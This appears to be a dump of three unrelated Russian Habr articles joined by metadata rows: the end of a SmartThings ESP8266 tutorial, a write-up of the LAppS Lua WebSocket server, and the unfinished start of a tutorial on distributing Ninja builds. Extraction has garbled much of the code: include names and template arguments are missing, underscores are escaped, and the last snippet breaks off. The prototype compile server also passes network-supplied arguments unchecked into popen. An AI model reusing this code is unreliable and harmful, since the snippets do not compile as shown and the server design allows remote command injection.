Вначале устройство появляется как точка доступа, поскольку ещё не знает пароля от вашего WiFi. В процессе подключения вы укажете сеть, с которой должно соединяться устройство. Если у вас скрытая точка доступа, то у ESP не получится с ней соединиться, поэтому выбирайте открытую точку.
Результат будет такой:
В этом примере (**st-switch**) вы управляете встроенным на плату светодиодом, нажимая на кнопку на самой плате. Как видите, для этого примера даже не нужно никакой дополнительной периферии, только сама плата ESP8266.
Вы также можете включать/выключать устройство кнопкой на панели управления в мобильном приложении:
И конечно, если вы жмете физическую кнопку, то и в приложении статус лампочки обновляется.
Пример «Умная лампочка»
=======================
После того, как вы сделали пример «Умный выключатель», давайте попробуем всё немного усложнить. Будет RGB-светодиод, и включать/выключать будем внешней кнопкой, а также выбирать цвет через приложение.
Железо
------
Схема подключения будет простая:
И принципиальная схема тоже не помешает:
Если посмотреть исходник (находится по адресу: st-device-sdk-c-ref/apps/esp8266/st\_lamp), то подключение там следующее:
`#define GPIO_OUTPUT_NOTIFICATION_LED 2
#define GPIO_INPUT_BUTTON 5
#define GPIO_OUTPUT_COLORLED_R 16
#define GPIO_OUTPUT_COLORLED_G 14
#define GPIO_OUTPUT_COLORLED_B 12
#define GPIO_OUTPUT_COLORLED_0 13`
Вы можете переназначить выводы согласно тому, какая именно модель платы у вас. Обратите внимание, что на плате система обозначений одна (D1, D2…), а в коде другая, но в этом легко разобраться, просто глядя на документацию к вашей плате.
Программная часть
-----------------
По программной части у нас поменяется несколько шагов:
* При добавлении Capabilities нужно указать следующие: Switch, Switch Level, Color Control, Health Check. Тип устройства там будет — Light.
* Пример прошивки берем из той же папки с примерами, называется он **st\_lamp**.
Интерфейс в приложении получится такой:
Как это выглядит в действии – еще раз гифка:
Заключение
==========
Итак, вы получили готовый работающий пример. Вы видите, что большая часть кода уже сделана за вас – всё, что касается подключения, аутентификации, интерфейса устройства. Пример SmartThings ценен тем, что он не привязан ни к какому аппаратному устройству, и вы можете смотреть и оценивать, какой функционал платформы нужен в 2k20, если вы разрабатываете «Умный дом».
*Татьяна Волкова — Автор учебной программы трека по Интернету вещей IT Академии Samsung, специалист по программам корпоративной социальной ответственности Исследовательского центра Samsung* | https://habr.com/ru/post/489834/ | null | ru | null |
# LAppS сервер приложений для микросервисной архитектуры
Предыстория
===========
20-го декабря прошлого года я ушёл в отпуск, на целых 2 недели. Чем заняться в отпуске? Правильно, — кодом. Кодом, которым некогда заниматься в рабочее время. Последние несколько лет мне кодить приходилось очень мало. Руки стосковались. Какой код пишут в отпуске? Не знаю как вы, а я пишу велосипеды. Зачем? Причин может быть много, но основная, — мне интересно. Я люблю C++ и Lua. Я ещё и bash и awk люблю. Не закидывайте камнями, это личное, так получилось. JavaScript я не очень люблю (хотя последние 2 года если что-то и кодил то на JS), и это тоже личное.
Что в итоге получилось
======================
Результатом скуки в отпуске стал [LAppS — Lua Application Server](https://github.com/ITpC/LAppS). Этот отпускной кодинг растянулся на 6 месяцев (конечно после декабря я коду уделял не очень много времени, это видно по коммитам в github). Но в последние 2 недели удалось урвать достаточно много времени для того, чтобы получилось что-то рабочее.
Что это
-------
Как уже ясно из названия, — **LAppS** сервер приложений Lua. Lua достаточно популярный язык, связка Nginx+Lua с библиотеками OpenResty активно используется по всму миру, один Cloudflare чего стоит. На момент начала разработки, уже существовали и вышеупомянутый Lua модуль для Nginx и Tarantool, luvit.io. Но ни один из них не поддерживал WebSockets. **LAppS** не поддерживает HTTP. Зато уже сейчас **LAppS** превосходит в производительности uWebSockets (ценой потребления больших вычислительных ресурсов).
Основная идея была в том, чтобы максимально сократить цикл разработки микросервисов. Lua имеет порог вхождения ниже чем JavaScript. Я больше чем уверен, даже школьники средних классов, вполне спокойно могут начать программировать на Lua. Но вот все доступные средства разработки web приложений для Lua, имеют уже не такой минимальный порог вхождения.
Поэтому основной упор в разработке делался на минималистичность API и простоту создания приложений, а также лёгкость конфигурируемости сервера приложений и сервисов.
Детали
------
Lua-приложения (сервисы) в **LAppS**, не блокируют ввод-вывод. Это наверное самое большое отличие от web сервера со скриптингом на Lua. **LAppS** использует 2 конфигурационных файла, для настройки поведения сервера WebSockets и для деплоймента приложений.
По умолчанию, если отсутствуют конфигурационные файлы, то LAppS попытается запустить демо приложения идущие в дистрибутиве.
### ws.json — Конфигурационный файл сервера WebSockets
```
{
"listeners" : 1,
"connection_weight": 0.7,
"ip" : "0.0.0.0",
"port" : 5083,
"workers": {
"workers" : 3,
"max_connections" : 1000
},
"tls" : true,
"tls_certificates" : {
"ca" : "/opt/lapps/etc/ssl/cert.pem",
"cert" : "/opt/lapps/conf/ssl/cert.pem",
"key" : "/opt/lapps/conf/ssl/key.pem"
},
"auto_fragment" : true,
"max_inbound_message_size" : 300000
}
```
* *listeners* — количество листенеров запускаемых параллельно, этот параметр влияет на то, как быстро **LAppS** принимает входящие соединения
* *connection\_weight* — параметр для внутреннего балансировщика сравнивающего глубину очереди ввода-вывода IOWorker-ов и кол-ва соединений. Чем больше одновременных соединений, тем меньше должен быть этот параметр, т.к. соединения могут использовать разные сервисы с разным профилем нагрузки. В такой ситуации лучше использовать менее нагруженный IOWorker для нового соединения, чем IOWorker с меньшим кол-вом соединений.
* *ip* — IP-адрес интерфейса на котором сервер будет ожидать входящие соединения. По умолчанию — все интерфейсы.
* *port* — порт. По умолчанию 5083.
* *workers.workers* — Количество параллельно работающих IOWorker-ов. По умолчанию 3.
* *workers.max\_connections* — пока не используется. В дальнейшем будет устанавливать лимит активных соединений для 1-го IOWorker-a.
+ *tls* — Использовать TLS? По умолчанию "да". Вообще параметр бесполезный. Использовать-ли TLS диктуется параметром сборки. По умолчанию сервер собирается с использованием LibreSSL, и TLS 1.2.
* *tls\_certificates.ca* — Путь к сертификату идущему в поставке с LibreSSL.
* *tls\_certificates.cert* — Путь к сертификату (по умолчанию используется самоподписанный сертификат localhost)
* *tls\_certificates.key* — ключ сертификата
* *auto\_fragment* — использовать-ли авто-фрагментацию для исходящих сообщений (пока не эффективен)
* *max\_inbound\_message\_size* — лимит размера входящих сообщений (пока не эффективен)
### lapps.json — Файл конфигурации сервисов
```
{
"directories" : {
"applications" : "apps",
"app_conf_dir" : "etc",
"tmp": "tmp",
"workdir": "workdir"
},
"services" : {
"echo" : {
"internal" : false,
"request_target" : "/echo",
"protocol" : "raw",
"instances" : 3
},
"echo_lapps" : {
"internal" : false,
"request_target" : "/echo_lapps",
"protocol" : "LAppS",
"instances" : 3
}
}
}
```
* *directories.applications* — путь к директории с приложениями, относительный переменной окружения LAPPS\_HOME (по умолчанию /opt/lapps), — по умолчанию apps
* *directories.app\_conf\_dir* — путь к конфигурационным файлам сервисов (пока не используется)
* \*directories.{tmp,workdir} — пока тоже не используются
* *services* — карта настройки сервисов
В выше приведённом примере сконфигурировано 2 демо-сервиса: echo и echo\_lapps. Имя сервиса, это по умолчанию и путь поиска Lua-модулей приложений. По сути приложения в **LAppS**, это модули следующие определённому интерфейсу.
Кроме параметра **internal**, все остальные параметры настройки сервиса обязательны.
* *services.{name}* — в примере services.echo и services.echo\_lapps, имя сервиса.
* *services.{name}.request\_target* — цель в URL WebSockets, пример wss://127.0.0.1:5083/echowss://127.0.0.1:5083/echo или wss://127.0.0.1:5083/echo\_lapps. IOWorker-ы после handshake ассоциируют сокеты с конкретным приложением на базе этой цели. Если в карте сервисов нет запрашиваемой клиентом цели, то handshake разрывается с кодом 403.
* *services.{name}.protocol* — тип протокола приложения. Сейчас используются только 2 типа протоколов: raw и LAppS (о них ниже)
* *services.{name}.instances* — кол-во параллельно работающих экземпляров приложения. Каждое соединение закреплено за своим экземпляром приложения.
Сборка, и установка
-------------------
Инструкции по сборке и установке можно прочитать на [wiki странице проекта](https://github.com/ITpC/LAppS/wiki)
Можно воспользоваться подготовленным [deb](https://github.com/ITpC/LAppS/raw/master/packages/lapps-0.5.1-amd64.deb) пакетом для установки в ubuntu-xenial
Приложения/Сервисы
==================
Приложения на самом деле являются Lua-модулями, которые должны иметь несколько предопределённых методов с предопределённым поведением:
* *onStart* — метод onStart, исполняется однажды перед стартом приложения. Здесь можно проводить начальную конфигурацию, выполнить какой-либо важный для инициализации приложения код. Этот метод не должен блокировать виртуальную машину Lua бесконечно долго. Т.е. выполнение цикла while(1), в этом методе приведёт к тому, что сервис не будет реагировать на поступающие запросы.
* *onShutdown* -аналогично onStart, метод выполняется однажды, при остановке приложения. Также не должен бесконечно блокировать поток выполненя Lua машины. В противном случае сервис не остановится сам и не даст остановиться серверу приложений.
* *onMessage* — имплементируется по разному для протоколов raw и LAppS. В зависимости от параметра указанного в конфигурации, данный метод будет получать данные разного типа.
+ raw: *bool onMessage(handler,opcode,message)* — где *handler* это уникальный идентификатор соединения; *opcode* — WebSockets OpCode, который принимает всего два значения 1 (TEXT) или 2 (BINARY), все фреймы с другими опкодами обрабатываются сервером и в приложение не передаются; *message* — строковое значение Lua содержащее бинарное или текстовое сообщение (в зависимости от опкода с которым был отправлен фрейм).
+ LAppS: *bool onMessage(handler,msg\_type,message)* — *handler* это уникальный идентификатор соединения; *message* — собственно сообщение соответствующее спецификации LAppS 1.0, это userdata объект типа nljson; *msg\_type* — вспомогательный параметр, тип сообщения, принимает четыре значения от 1-го до 4-х:
- 1 — Client Notification (CN)
- 2 — CN с дополнительными параметрами в массиве params
- 3 — запрос исполнения метода без параметров
- 4 — запрос исполнения метода с параметрами в массиве params
* *onDisconnect(handler)* — метод вызываемый при разрыве (сбросе или корректном закрытии в соответствии с RFC 6455) соединения клиентом. handler — уникальный идентификатор соединения.
Примечание: метод *onMessage* обязан возвращать булево значение. При возврате значения ложно, соединение для которого был вызван метод разрывается (close code 1000).
Простейшее приложение-скелет имплементирующее echo-server (протокол raw).
-------------------------------------------------------------------------
```
myapp = {}
myapp.__index = myapp;
myapp["onStart"]=function()
-- do something on start
end
myapp["onDisconnect"]=function(handler)
-- handler - is a unique client identifier
-- react on client disconnect
end
myapp["onShutdown"]=function()
-- do something on shutdown
end
myapp["onMessage"]=function(handler,opcode, message)
-- it is an echo, - we return back the same message
local result, errmsg=ws:send(handler,opcode,message);
if(not result)
then
print("myapp::OnMessage(): "..(errmsg or "none"));
end
return result;
end
return myapp;
```
Конфигурация для данного сервиса:
```
"myapp" : {
"internal" : false,
"request_target" : "/myapp",
"instances" : 1,
"protocol": "raw"
}
```
Протокол LAppS
==============
Спецификация протокола LAppS базируется на гугловской спецификации JSON-RPC со следующими ключевыми отпличиями:
* обмен сообщениями бинарный в формате CBOR
* протокол специфицирует "Out of Order Notifications" (OON), тип сообщений инициируемый сервером.
* протокол специфицирует каналы сообщений. Учитывая необходимость запрос-ответ сообщений, а также необходимость нотификаций со стороны сервера, каналы позволяют клиентскому приложению иметь на одном соединении параллельный поток данных на разных каналах. Канал 0 (CCH) зарезервирован для запрос-ответ сообщений, все остальные каналы согласуются приложением.
Со спецификацией можно ознакомиться на [github](https://github.com/ITpC/LAppS/blob/master/LAppS_Protocol_Specification.md)
Приложение с поддержкой протокола LAppS
---------------------------------------
Не буду приводить полный код приложения, приведу лишь имплементацию метода onMessage. Детально с демо приложением можно ознакомиться в исходниках на github.
```
echo_lapps["onMessage"]=function(handler,msg_type, message)
-- функция для реакции на тип сообщения
local switch={
[1] = function() -- Клиентские нотификации без параметров не принимаются сервером
-- (это не ограничение это деталь реализации приложения)
-- сообщение об ошибке
local err_msg=nljson.decode([[{
"status" : 0,
"error" : {
"code" : -32600,
"message": "This server does not accept Client Notifications without params"
},
"cid" : 0
}]]);
-- отправка сообщения об ошибке
ws:send(handler,err_msg);
-- закрываем WebSocket с кодом 1003 - "не понимаю"
ws:close(handler,1003);
end,
[2] = function() -- CN с параметрами. обрабатываем.
local method=methods._cn_w_params_method[message.method] or echo_lapps.method_not_found;
method(handler,message.params);
end,
[3] = function() -- не поддерживаем запросы без параметров
local method=echo_lapps.method_not_found;
method(handler);
end,
[4] = function() -- поддерживаем запросы с параметрами
local method=methods._request_w_params_method[message.method] or echo_lapps.method_not_found;
method(handler,message.params);
end
}
-- выполняем селектор
switch[msg_type]();
return true;
end
```
Авто-подгружаемые модули
========================
**LAppS** подгружает несколько модулей, перед стартом сервиса: *nljson*, *ws*, *bcast*. детально со спецификацией модулей можно ознакомиться на wiki проекта.
Кратко:
* **nljson** — модуль для работы с JSON (ecode/decode/cbor).
Работа с модулем, мало чем отличается от работы с нативными таблицами Lua. Более того, таблицы Lua конвертируются в nljson userdata с помощью простого присваивания. Однако Lua не делает различия между объектами (ключ-значение) и массивами, поэтому например для пустых Lua-таблиц их конвертирование nljson представляет некое препятствие. Например
```
local object=nljson.decode({})
```
Приведёт к созданию JSON-Array с именем object. Поэтому лучше пользоваться такой инициализацией:
```
local object=nljson.decode('{}')
```
Это определение однозначно создаст JSON-Object.
Далее этим объектом можно пользоваться как нативной луа таблицей:
```
object["test"]="значение";
print(object.test)
object["map"]={
["key1"] = "value",
["key2"] = 33
}
print(object)
```
Скорость работы с nljson объектами мало отличается от нативных таблиц Lua.
* **ws** — модуль для отправки WebSocket сообщений, имеет всего 2 метода: send, close.
* **bcast** — модуль широковещательных сообщений, доступные методы: subscribe, unsubscribe, create, send.
Клиентские приложения
=====================
Тут всё проще пареной репы, — благо WebSockets API для браузеров продуман и прост.
Обязательная библиотека cbor.js. Webix используется для отображения bar-chart.
Не пинайте за пароль в тексте кода. Это-же просто демо.
**демо-код клиента**
```
// globals
window["secs\_since\_start"]=0;
window["roundtrips"]=0;
window["subscribed"]=false;
window["lapps"]={
authkey : 0
};
// initial data set for the chart
var dataset = [
{ id:1, rps:0, second:0 }
]
// the chart
webix.ui({
id:"barChart",
container:"chart",
view:"chart",
type:"bar",
value:"#rps#",
label:"#rps#",
radius:0,
gradient:"rising",
barWidth:40,
tooltip:{
template:"#rps#"
},
xAxis:{
title:"Ticking RPS",
template:"#second#",
lines: false
},
padding:{
left:10,
right:10,
top:50
},
data: dataset
});
// might be a dialog instead. never do this in production.
var login = {
lapps : 1,
method: "login",
params: [
{
user : "admin",
password : "admin"
}
]
};
// echo request
var echo= {
lapps : 1,
method: "echo",
params: [
{ authkey : 0 },
[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25]
]
};
// create a websocket
var websocket = new WebSocket("wss://127.0.0.1:5083/echo\_lapps");
websocket.binaryType = "arraybuffer";
// on response
websocket.onmessage = function(event)
{
window.roundtrips=window.roundtrips+1;
// CBOR to native JavaScript object
var message = CBOR.decode(event.data);
// Verifying the channel
if(message.cid === 0)
{
if(message.status === 1)
{
if(window.lapps.authkey === 0)
{
if(typeof message.result[0].authkey !== "undefined") // authkey is arrived
{
window.lapps.authkey=message.result[0].authkey;
echo.params[0].authkey = window.lapps.authkey;
websocket.send(CBOR.encode(echo));
}
else
{
console.log("No authkey: "+JSON.stringify(message));
}
}
else
{
websocket.send(CBOR.encode(echo));
// already authenticaed, may subscribe to OONs
if(!window.subscribed)
{
var subscribe={
lapps : 1,
method: "subscribe",
params: [
{ authkey: window.lapps.authkey }
],
cid: 5
};
websocket.send(CBOR.encode(subscribe));
window.subscribed=true;
}
}
}
else
{
console.log("ERROR: "+JSON.stringify(message));
}
}
else if(message.cid === 5) // server time OON
{
console.log("OON is received");
webix.message({
text : message.message[0],
type: "info",
expire: 999
});
window.secs\_since\_start++;
$$("barChart").add({rps: window.roundtrips, second: window.secs\_since\_start});
window.roundtrips=0;
if(window.secs\_since\_start > 30 )
{
$$("barChart").remove($$("barChart").getFirstId());
}
}
else // other OONs are just printed to console
{
console.log("OON: "+JSON.stringify(message));
}
};
// login on connection
websocket.onopen=function()
{
console.log('is open');
window.teststart=Date.now()/1000;
websocket.send(CBOR.encode(login));
}
// close connection if peer sent close frame
websocket.onclose=function()
{
console.log("is closed");
}
```
Клиентское приложение это echo-клиент для протокола LAppS. Серверная часть приложения броадкастит раз в секунду своё время, график обновляется по этому OON.
Примечание: Если в браузере запустить несколько клиентов, то и кол-во броадкастов увеличится, т.к. броадкасты отправляются из onMessage, раз в секунду.
Что-бы это исправить, необходима реализация самостоятельных приложений, коммуницирующих с остальным стэком LAppS. Эта часть сейчас в разработке. | https://habr.com/ru/post/354882/ | null | ru | null |
# Как сделать из Ninja систему распределённой сборки?
Привет, Хабр!
Недавно я задумался, ковыряя очередную бесплатную систему сборки, «А нельзя ли взять и самому написать такую систему? Ведь это просто — взять ту же Ninja, прикрутить разделение на препроцессинг и компиляцию, да и передавать по сети файлы туда-сюда. Куда уж проще?»
Просто — не просто, как самому сделать подобную систему — расскажу под катом.
### Этап 0. Формулировка задачи
**Disclaimer: Статья отмечена как tutorial, но это не совсем пошаговое руководство, скопипастив код из которого получится готовый продукт. Это скорее инструкция — как спланировать и куда копать.**
Сперва определимся, какой общий алгоритм работы должен получиться:
* Читаем граф сборки, вычленяем команды компиляции;
* Разбиваем компиляцию на два этапа, препроцессинг и собственно генерацию кода. Последнюю помечаем как возможную к удаленному выполнению;
* Выполняем препроцессинг, считываем результат в память;
* Отправляем препроцессированный файл и команду на генерацию кода на другой хост по сети;
* Выполняем команду кодогенерации, считываем объектный файл и отдаем в качестве ответа по сети;
* Полученный объектный файл сохраняем на диск и выводим в консоль сообщения компилятора.
Вроде не так и страшно, верно? Но сходу за вечер написать все это, пожалуй, не выйдет. Сперва напишем несколько прототипов, и статья рассказывает о них:
1. Прототип 1. Программа имитирует компилятор, разделяя команду на 2, и самостоятельно вызывая компилятор.
2. Прототип 2. К этому добавим пересылку команды на компиляцию по сети, без самого файла.
3. Прототип 3. Пройдемся по графу сборки Ninja, выводя потенциально разбиваемые команды.
Рекомендуется разработку прототипа делать под POSIX-совместимой OS, если вы не будете пользоваться библиотеками.
### Этап 1. Разбиваем командную строку
Для прототипа остановимся на компиляторе GCC (или Clang, нет большой разницы), т.к. его командную строку проще разбирать.
Пусть у нас программа вызывается через команду «test -c hello.cpp -o hello.o». Будем считать, что после ключа "-c" (компиляция в объектный код) всегда идет имя входного файла, хоть это и не так. Так же пока остановимся только на работе в локальной директории.
Мы будем использовать [функцию popen](https://www.opennet.ru/man.shtml?topic=popen&category=3) для запуска процесса и получения стандартного вывода. Функция позволяет открыть процесс так же, как мы бы открыли файл.
Файл main.cpp:
```
#include
#include "InvocationRewriter.hpp"
#include "LocalExecutor.hpp"
int main(int argc, char \*\* argv)
{
StringVector args;
for (int i = 1; i < argc; ++i)
args.emplace\_back(argv[i]);
InvocationRewriter rewriter;
StringVector ppArgs, ccArgs; // аргументы для препроцессинга и компиляции соотвественно.
if (!rewriter.SplitInvocation(args, ppArgs, ccArgs))
{
std::cerr << "Usage: -c -o \n";
return 1;
}
LocalExecutor localExecutor;
const std::string cxxExecutable = "/usr/bin/g++"; // предполагаем, что мы работаем под GNU/Linux.
const auto ppResult = localExecutor.Execute(cxxExecutable, ppArgs);
if (!ppResult.m\_result)
{
std::cerr << ppResult.m\_output;
return 1;
}
const auto ccResult = localExecutor.Execute(cxxExecutable, ccArgs);
if (!ccResult.m\_result)
{
std::cerr << ccResult.m\_output;
return 1;
}
// не учтен вариант, что есть стандартный вывод, но результат успешен.
return 0;
}
```
**Код InvocationRewriter.hpp**
```
#pragma once
#include
#include
#include
using StringVector = std::vector;
class InvocationRewriter
{
public:
bool SplitInvocation(const StringVector & original,
StringVector & preprocessor,
StringVector & compilation)
{
// Найдем сперва позиции аргументов -c и -o.
// Будем считать, что после -c всегда идет имя входного файла, хоть это и не так.
const auto cIter = std::find(original.cbegin(), original.cend(), "-c");
const auto oIter = std::find(original.cbegin(), original.cend(), "-o");
if (cIter == original.cend() || oIter == original.cend())
return false;
const auto cIndex = cIter - original.cbegin();
const auto oIndex = oIter - original.cbegin();
preprocessor = compilation = original;
const std::string & inputFilename = original[cIndex + 1];
preprocessor[oIndex + 1] = "pp\_" + inputFilename; // абсолютные имена не поддерживаются
preprocessor[cIndex] = "-E"; // вместо компиляции - препроцессинг.
compilation[cIndex + 1] = "pp\_" + inputFilename;
return true;
}
};
```
**Код LocalExecutor.hpp**
```
#pragma once
#include
#include
#include
#include
using StringVector = std::vector;
class LocalExecutor
{
public:
/// Результат выполнения команды: стандартный вывод + результат
struct ExecutorResult
{
std::string m\_output;
bool m\_result = false;
ExecutorResult(const std::string & output = "", bool result = false)
: m\_output(output), m\_result(result) {}
};
/// выполняет команду с помощью popen.
ExecutorResult Execute(const std::string & executable, const StringVector & args)
{
std::string cmd = executable;
for (const auto & arg : args)
cmd += " " + arg;
cmd += " 2>&1"; // объединим sterr и stdout.
FILE \* process = popen(cmd.c\_str(), "r");
if (!process)
return ExecutorResult("Failed to execute:" + cmd);
ExecutorResult result;
char buffer[1024];
while (fgets(buffer, sizeof(buffer)-1, process) != nullptr)
result.m\_output += std::string(buffer);
result.m\_result = pclose(process) == 0;
return result;
}
};
```
Что ж, теперь у нас есть маленький эмулятор компилятора, который дергает настоящий компилятор. Едем дальше :)
Дальнейшее развитие прототипа:
* Учитывать и абсолютные имена файлов;
* Использовать одну из библиотек для работы с процессами: Boost.Process, QProcess, или Ninja Subprocess;
* Реализовать поддержку разделения команд для MSVC;
* Сделать API для выполнения команд асинхронным, а выполнение вынести в отдельный поток.
### Этап 2. Сетевая подсистема
Прототип сетевого обмена сделаем на BSD Sockets ([Сокеты Беркли](https://ru.wikipedia.org/wiki/%D0%A1%D0%BE%D0%BA%D0%B5%D1%82%D1%8B_%D0%91%D0%B5%D1%80%D0%BA%D0%BB%D0%B8))
Немного теории:
Сокет это дословно «дырка», в которую можно писать данные и считывать из неё. Чтобы подключиться к удаленному серверу, алгоритм следующий:
* Создать сокет нужного типа (TCP) с помощью функции socket();
* После создания, выставить нужные флаги, например неблокирующий режим с помощью setsockopt();
* Получить адрес в нужном формате для BSD сокетов с помощью getaddrinfo();
* Подключиться к TCP-хосту с помощью функции connect(), передав туда подготовленный адрес;
* Вызывать функции read/send для чтения и записи;
* После окончания работы — вызвать close().
Сервер работает немного сложнее:
* Создаем сокет с помощью функции socket();
* Выставляем опции;
* Вызываем bind() для того, чтобы привязать сокет к определённому адресу (полученному через getaddrinfo)
* Начинаем прослушку порта с помощью вызова listen();
* Входящие соединения примаем функцией accept() — он возвращает нам новый сокет;
* С полученным сокетом выполняем операции read/write;
* Закрываем сокет соединения и сокет прослушки через close().
Нам понадобятся сокет-клиент и сокет-сервер. Пусть их интерфейс выглядит следующим образом:
```
/// Интерфейс сокета
class IDataSocket
{
public:
using Ptr = std::shared_ptr;
/// Результаты чтения и запаси. Success- Успешно, TryAgain - данные не были прочитаны либо записаны, Fail - сокет был закрыт.
enum class WriteState { Success, TryAgain, Fail };
enum class ReadState { Success, TryAgain, Fail };
public:
virtual ~IDataSocket() = default;
/// Подключение к удаленному хосту
virtual bool Connect () = 0;
/// Закрытие соединение
virtual void Disconnect () = 0;
/// Проверки статуса соединения - подключен; сейчас подключается
virtual bool IsConnected () const = 0;
virtual bool IsPending() const = 0;
/// Читаем данные из сокета в буфер
virtual ReadState Read(ByteArrayHolder & buffer) = 0;
/// Пишем данные в сокет.
virtual WriteState Write(const ByteArrayHolder & buffer, size\_t maxBytes = size\_t(-1)) = 0;
};
/// интерфейс "слушателя". Он может создавать сокеты при подключении.
class IDataListener
{
public:
using Ptr = std::shared\_ptr;
virtual ~IDataListener() = default;
/// Получение следующего соединения
virtual IDataSocket::Ptr GetPendingConnection() = 0;
/// Начало прослушивания порта:
virtual bool StartListen() = 0;
};
```
Реализацию данного интерфейса я не буду вставлять в статью, вы можете ее сделать самостоятельно либо [подсмотреть вот здесь](https://github.com/mapron/Wuild/blob/master/Platform/TcpSocket.cpp).
Допустим, сокет у нас готов, как будет примерно выглядеть клиент и сервер компилятора?
Сервер:
```
#include
#include
#include
#include "LocalExecutor.hpp"
int main()
{
// Создадим настройки для подключения.
TcpConnectionParams tcpParams;
tcpParams.SetPoint(6666, "localhost");
// Создадим прослушку на порту 6666;
auto listener = TcpListener::Create(tcpParams);
IDataSocket::Ptr connection;
// Дождемся первого входящего соединения;
while((connection = listener->GetPendingConnection()) == nullptr) ;
// Подключим соединение и прочитаем все данные.
connection->Connect();
ByteArrayHolder incomingBuffer; //!< просто обертка над std::vector;
while (connection->Read(incomingBuffer) == IDataSocket::ReadState::TryAgain) ;
// Считая, что в качестве данных нам пришла команда, выполним её.
std::string args((const char\*)(incomingBuffer.data()), incomingBuffer.size());
std::replace(args.begin(), args.end(), '\n', ' ');
LocalExecutor localExecutor;
const auto result = localExecutor.Execute("/usr/bin/g++", StringVector(1, args));
std::string stdOutput = result.m\_output;
if (stdOutput.empty())
stdOutput = "OK\n"; // небольшой хак - если результат выполнения пустой, отправим хотя бы OK.
// запишем в подключившийся сокет результат выполнения команды.
ByteArrayHolder outgoingBuffer;
std::copy(stdOutput.cbegin(), stdOutput.cend(), std::back\_inserter(outgoingBuffer.ref()));
connection->Write(outgoingBuffer);
connection->Disconnect();
// Можно не выходить здесь, а вынести обработку соединений в отдельный поток.
// А потом и обработку чтения/записи из каждого подключения в отдельный поток.
return 0;
}
```
Клиент:
```
#include
#include
#include "InvocationRewriter.hpp"
#include "LocalExecutor.hpp"
int main(int argc, char \*\* argv)
{
StringVector args;
for (int i = 1; i < argc; ++i)
args.emplace\_back(argv[i]);
InvocationRewriter rewriter;
StringVector ppArgs, ccArgs; // аргументы для препроцессинга и компиляции соотвественно.
if (!rewriter.SplitInvocation(args, ppArgs, ccArgs))
{
std::cerr << "Usage: -c -o \n";
return 1;
}
LocalExecutor localExecutor;
const std::string cxxExecutable = "/usr/bin/g++"; // предполагаем, что мы работаем под GNU/Linux.
const auto ppResult = localExecutor.Execute(cxxExecutable, ppArgs);
if (!ppResult.m\_result)
{
std::cerr << ppResult.m\_output;
return 1;
}
// Подключимся к серверу на порт 6666
TcpConnectionParams tcpParams;
tcpParams.SetPoint(6666, "localhost");
auto connection = TcpSocket::Create(tcpParams);
connection->Connect();
ByteArrayHolder outgoingBuffer;
for (auto arg : ccArgs)
{
arg += " "; // разделим аргументы пробелом и вставим в буфер.
std::copy(arg.cbegin(), arg.cend(), std::back\_inserter(outgoingBuffer.ref()));
}
connection->Write(outgoingBuffer);
ByteArrayHolder incomingBuffer;
while (connection->Read(incomingBuffer) == IDataSocket::ReadState::TryAgain) ;
std::string response((const char\*)(incomingBuffer.data()), incomingBuffer.size());
if (response != "OK\n")
{
std::cerr << response;
return 1;
}
return 0;
}
```
Да, не все исходники показаны, например TcpConnectionParams или ByteArrayHolder, но это достаточно примитивные структуры.
После отладки этого прототипа, у нас есть небольшой сервис, который может локально компилировать препроцессированные файлы (при некоторых допущениях, например, что рабочая директория клиента и сервера совпадают).
Дальнейшее развитие прототипа:
* Настоятельно рекомендую использовать одну из существующих сетевых библиотек — Boost.Asio, QTcpSocket (QtNetwork), так же подумать над сериализацией с помощью Protobuf или других подобных
* Реализовать передачу файлов по сети. Скорее всего, придется их разбивать на фрагменты, но будет зависеть от выбранной вами библиотеки.
* Необходимо задуматься об асинхронном API отправки и приема сообщений. Кроме того, желательно его сделать абстрактным и не привязанным к сокетам вообще.
### Этап 3. Интеграция с Ninja
Для начала, необходимо ознакомиться с принципами работы Ninja. Предполагается, что вы уже собирали с её помощью какие-либо проекты и примерно представляете, как выглядит build.ninja.
Используемые понятия:
* Узел (Node) — это просто файл. Входной (исходники), выходной (объектные файлы) — это все узлы или вершины графа.
* Правило (Rule) — по сути это просто команда с шаблоном аргументов. Например, вызов gcc — правило, а его аргументы — $FLAGS $INCLUDES $DEFINES и еще какие-то общие аргументы.
* Ребро (Edge). Для меня было немного удивительно, но ребро соединяет не два узла, а несколько входных узлов и один выходной, посредством Правила. Вся система сборки основана на том, что последовательно обходит граф, выполняя команды для ребер. Как только все ребра обработаны, проект собран.
* Состояние (State) — это контейнер со всем вышеперечисленным, который система сборки и использует.
Как это примерно выглядит, если нарисовать зависимости:
Здесь показан граф сборки для двух единиц трансляции, которые компонуются в приложение.
Как мы видим, для того, чтобы внести свои изменения в систему сборки, нам нужно переписать State, разбив Edges на два в нужных местах и добавив новые узлы (препроцессированные файлы).
Предположим, у нас уже есть исходники ninja, мы их собираем, и все в собранном виде работает.
Добавим в ninja.cc следующий фрагмент кода:
```
// Limit number of rebuilds, to prevent infinite loops.
const int kCycleLimit = 100;
for (int cycle = 1; cycle <= kCycleLimit; ++cycle) {
NinjaMain ninja(ninja_command, config);
ManifestParser parser(&ninja.state_, &ninja.disk_interface_,
options.dupe_edges_should_err
? kDupeEdgeActionError
: kDupeEdgeActionWarn);
string err;
if (!parser.Load(options.input_file, &err)) {
Error("%s", err.c_str());
return 1;
}
// граф сборки уже загружен, теперь модифицируем его:
RewriteStateRules(&ninja.state_); // вот этот вызов
```
Саму функцию RewriteStateRules можно унести в отдельный файл, либо объявить здесь же, в ninja.cc как:
```
#include "InvocationRewriter.hpp"
// Структура, которая описывает замену правил Ninja.
struct RuleReplace
{
const Rule* pp;
const Rule* cc;
std::string toolId;
RuleReplace() = default;
RuleReplace(const Rule* pp_, const Rule* cc_, std::string id) : pp(pp_), cc(cc_), toolId(id) {}
};
void RewriteStateRules(State *state)
{
// скопируем текущие правила, т.к. будет не очень хорошо, когда мы будем модифицировать этот контейнер.
const auto rules = state->bindings_.GetRules();
std::map ruleReplacement;
InvocationRewriter rewriter;
// пройдем по всем существующим правилам
for (const auto & ruleIt : rules)
{
const Rule \* rule = ruleIt.second;
const EvalString\* command = rule->GetBinding("command");
if (!command) continue;
// сформируем команду для нашего rewriter-а.
std::vector originalRule;
for (const auto & strPair : command->parsed\_)
{
std::string str = strPair.first;
if (strPair.second == EvalString::SPECIAL)
str = '$' + str;
originalRule.push\_back(str);
}
// попробуем разделить команду:
std::vector preprocessRule, compileRule;
if (rewriter.SplitInvocation(originalRule, preprocessRule, compileRule))
{
